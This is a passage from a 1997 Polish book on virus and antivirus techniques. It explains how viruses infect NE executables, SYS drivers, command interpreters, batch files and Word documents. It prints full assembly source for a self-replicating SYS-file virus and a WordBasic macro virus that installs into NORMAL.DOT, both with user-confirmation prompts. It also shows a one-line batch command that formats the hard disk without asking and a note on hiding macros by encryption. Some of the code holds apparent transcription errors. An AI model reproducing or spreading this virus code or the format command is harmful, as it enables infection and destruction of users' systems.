używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na
oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu,
zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu
chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi
stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy
OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych
informacji o tych systemach).
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy
na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa
pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego
systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie,
należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość
40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego
EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o
systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w
poniższej tabeli.

Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik

Docelowy system

NE

Windows lub OS/2 1.x, z podziałem na segmenty

LE

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear
Executable)

LX

Wariant LE, używany przez OS/2 2.x

W3

Plik WIN386.EXE dla Windows; kolekcja plików LE

PE

Windows NT lub Win32s (Portable Executable)

DL

HP 100LX/200LX (Pliki *.EXM)

MP

Stare pliki PharLap (pliki *.EXP)

P2

PharLap 286 (pliki *.EXP)

P3

PharLap 386 (pliki *.EXP)

4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na
odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów
zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w
pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy
segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu
programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się

background image

zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w
tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.

Format nagłówka plików nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

znacznik pliku, bajty 'NE'

02-03

numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej
znacząca część)

04-05

offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest
następujący 00 liczba wejść (00, jeżeli koniec listy)
01 numer segmentu (00, jeżeli koniec listy)
02 pierwszy rekord
05 drugi rekord
.........
Każdy rekord ma format
00 flagi:
bit 0: EXPORTED
bit 1: SINGLE DATA
bity 2-7: nie używane
01-02 ofset w segmencie

06-07

długość (w bajtach) tablicy wejść

08-0B

kod korekcyjny (CRC) pliku

0C

flagi programu; znaczenie poszczególnych bitów
0-1 DGROUP
0 = nie ma
1 = SINGLE SHARED
2 = MULTIPLE (UNSHARED)
3 = (NULL)
2 bit globalnej inicjalizacji
3 program tylko dla trybu chronionego
4 program zawiera instrukcje 8086
5 program zawiera instrukcje 80286
6 program zawiera instrukcje 80386
7 program zawiera instrukcje 80x87

0D

flagi aplikacji; znaczenie poszczególnych bitów:
0-2 typ aplikacji
001 pełnoekranowa (bez Windows AP! dla trybu chronionego)
010 kompatybilna z Windows API dla trybu chronionego
011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla
OS/2
5 0=wykonywalna, 1=błędy w obrazie pliku
6 niezgodny typ programu (stos nie jest zachowywany)
7 plik DLL lub sterownik
(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR,
wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0
poprawna inicjalizacja)

background image

0E-0F indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty

lokalnej

12-13

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS

14-17

wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów

18-1B

daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy
segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu
ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną

1C-1D ilość segmentów 1 E-1 F ilość odwołań do modułów
20-21

długość (w bajtach) nierezydentnej tablicy nazw

22-23

offset względem początku nagłówka do tablicy segmentów, składającej się z
rekordów o formacie (pierwszy rekord ma numer 1):
00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3
nagłówka, aby uzyskać adres w bajtach)
02-03 długość obrazu pliku (0000h=64K)
04-05 atrybuty segmentu
0 segment danych
1 nie używane
2 REALMODE
3 ITERATED
4 MOVABLE
5 SHARABLE
6 PRELOADED
7 EXECUTE-CODE (kod) lub READ-ONLY (dane)
8 relokacje (bezpośrednio po kodzie w segmencie)
9 istnieją informacje dla debuggera
10,11 bity DPL dla 80286
12 DISCARDABLE
13-15 DISCARD PRIORITY
06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K)

24-25

offset względem początku nagłówka do tablicy zasobów

26-27

offset względem początku nagłówka do tablicy nazw rezydentnych

28-29

offset względem początku nagłówka do tablicy odwołań do modułów

2A-2B offset względem początku nagłówka do tablicy nazw importowanych (tablica

łańcuchów typu string, zakończona łańcuchem o długości 0)

2C-2F offset względem początku nagłówka do tablicy nazw nierezydentnych
30-31

ilość ruchomych punktów wejściowych zawartych w tablicy wejść

32-33

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)

34-35

ilość wejść do tablic zasobów

36

docelowy system operacyjny
00h nieznany
01h OS/2
02h Windows
03h Europejska wersja MS-DOS 4.x
04h Windows 386
05h BOSS (Borland Operating System Services)
81h PharLap 286IDOS-Extender, OS/2
82h PharLap 286IDOS-Extender, Windows

background image

37

dodatkowe flagi programu
0 używa długich nazw plików
1 tryb chroniony 2.X
2 proporcjonalna czcionka 2.X
3 0=gangload: nie ma, 1=gangload: jest

38-39

offset do strefy gangload

3A-3B offset do segmentu odwołańi do strefy gangload
3C-3D minimalny rozmiar kodu wymienialnego
3E-3F spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza,

bardziej znacząca część jako druga)


Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

ilość rekordów w tablicy relokacji

02

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8
bajtów i ma format:
00 typ rekordu
00 LOBYTE
02 BASE
03 PTR
05 OFFS
0B PTR48
0D OFFS32 01 flagi rekordu
bit 2: addytywny 02-03 offset w segmencie
04-05 docelowy adres segmentu
06-07 docelowy adres offsetu

Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

Wartość przesunięcia do dopasowania

02

Kolejne rekordy zasobów o formacie:
00-01 identyfikator
0000 koniec rekordów
>= 8000h typ INTEGER
w przeciwnym wypadku offset względem początku zasobów
do łańcucha
02-03 ilość zasobów danego typu
04-07 zarezerwowane
08 początek zasobów

Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
00-01

ofset (w dopasowanych jednostkach) do zawartości zasobów

02-03

rozmiar zasobów w bajtach

04-05

flagi zasobów

background image

bit 4: MOVEABLE
bit5:SHAREABLE
bit 6: PRELOADED

06-07

typ zasobów;
=8000 zasoby typu Integer

08-0B

zarezerwowane

Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres

Zawartość

00

ilość rekordów w paczce (0=koniec tablicy)

01

znacznik segmentu:
00 nie używany FF MOVEABLE lub FIXED

02

kolejne rekordy, każdy o formacie:
00 flagi
bit 0: wejście jest eksportowane
bit 1: wejście używa globalnych (współużywalnych) danych
bity 7-3: ilość stów parametrów dla segmentu FIXED
01-02 ofset dla segmentu MOVEABLE
01-02 INT 3F (kod instrukcji: CDh 3Fh)
03 numer segmentu
05-06 ofset

Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres

Zawartość

00

długość łańcucha (00=koniec tablicy)

01-N

łańcuch ASCII

N+1-N+2 numer porządkowy w tablicy

Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji
przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Kod programu STUB
właściwy program dla Windows:
Nagłówek NE
Tablica segmentów
Tablice z danymi o zasobach
Kod programu dla Windows

Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Zmniejszony kod programu STUB
właściwy program dla Windows zarażony wirusem:

background image

Nagłówek NE, cofnięty względem oryginalnej pozycji
Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o
segment wskazujący na kod wirusa (na końcu pliku)
Tablice z danymi o zasobach
Kod programu dla Windows
Kod wirusa

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą
rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie
startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95
także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje
funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla
uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane
dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze
sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość
Nagłówek pliku SYS (patrz następna tabela)
Kod sterownika

Format nagłówka pliku SYS
00-03

Wskaźnik do następnego programu obsługi urządzenia, standardowo ==
0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik.
Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres
kolejnego sterownika w pliku.

04-05

Atrybuty urządzenia, informują o przeznaczeniu sterownika

06-07

Adres procedury strategii (względem początku nagłówka). Procedura strategii
służy do odebrania pakietu zlecenia od systemu DOS.

08-09

Adres procedury przerwania (względem początku nagłówka), która na
podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje
odpowiednie czynności,

0A-0F Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia

blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).

Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w
polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje
dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku
zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi
natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu
programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie
faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS,
wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na
koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do
zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań).

background image

Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi
działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi
trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania
Kod sterownika
Kod wirusa

Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego
sterownika w pliku
Kod sterownika
Nagłówek fałszywego sterownika (wirusa)
Kod wirusa

Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki
SYS.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow SYS ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM SYZYF.ASM ;
; TLINK SYZYF.OBJ ;
; MAKESYS SYZYF.EXE ;
; ;
;----------------------------------------------------------------------------;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje PSP

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \

background image

AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends

NAGL struc
NAGLAdres dd ? ; Adres nastepnego sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi strategii
NAGLPrzerwanie dw ? ; adres obslugi przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends

Start:
SYSNagl NAGL
<0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek

VirusStart: ; tu zaczyna sie kod wirusa

ProceduraPrzerwania:
push ax ; \
push bx ; \
push cx ; \ zachowaj

background image

push dx ; \ zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /

Call Trik
Trik:
pop si
sub si,offset Trik

push cs ; \ DS=CS
pop ds ; /

mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs

lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; gdy CF=1, nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
mov ah,2Fh ; funkcja DOS - pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny

background image

mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja SzukajNastepnyPlik ; nie - szukaj nastepnego

mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,size NAGL ; ilosc czytanych bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]

cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego plik

cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny plik
; TAK - na poczatku pliku jest
; 0FFFFFFFFh

mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku

background image

mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov [si][CzytNAGL.NaglPrzerwanie],ax

mov cx,VirusDlug ; ilosc zapisywanych bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ CX:DX zawieraja
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad

mov cx,size NAGL ; ilosc zapisywanych bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS

SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

background image

NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS

BezInfekcji:

pop es ; \
pop ds ; \
pop di ; \ przywroc
pop si ; \ zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /

db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?

MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)

; Czesc Informayjna ; wyswietla pytanie do uzytkownika
Informacja: ; czy chce uruchomic wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania

mov ah,0Eh ; pisz znak z AL
int 10h ;

jmp short NastepnyZnak

InformacjaTxtOK:

mov ah,0
int 16h

and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK

background image

je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
pop si ax
ret ; powrot

TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>

ProceduraStrategii: ; na wejsciu ES:BX adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej

retf ; powrot z procedury
; strategii

AdresZlecenia dd ?

Nosiciel:
push ds ax bx

lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
; zlecenia

xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;

pop bx ax ds
retf

SYZYF ENDS
END Start

background image

4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega
tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych
wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w
otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu
DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po
znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego
kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W
rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z
interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a
wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto
pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar
przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam
kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku
niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej
realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym
sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze
bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako
sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie
komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w
innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku
IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane
jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego
sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują
pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).

Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni
wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej
destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia

background image

przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana
przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika
jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację.
W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować,
iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie
sformatowany.
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych
plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt
miłymi konsekwencjami.

4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy
przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten
program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać
już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program
ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej,
znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub
zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro
AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku
NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych
stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany
(zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na
przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego
makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może
zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra

Opis makra

AutoExec

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem
z szablonu globalnego zawartego w pliku NORMAL.DAT

AutoNew

uruchamiane podczas tworzenia nowego dokumentu

AutoOpen

uruchamiane podczas otwierania dokumentu

AutoClose

uruchamiane podczas zamykania dokumentu

AutoExit

uruchamiane podczas kończenia pracy z Wordem

Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który
składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików
DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT
dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w
rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych
makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację
tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ,
Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie
wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie

background image

operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaµ ?" TiN = 256 +48+4 Prz =
MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siÛ do NORMAL.DOT, Sam tego chcia│e£ !!!", Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaµ '" + WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siÛ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla
innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego
wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth).
Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas
kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze
zawartości takich makr.

4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr,
które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS
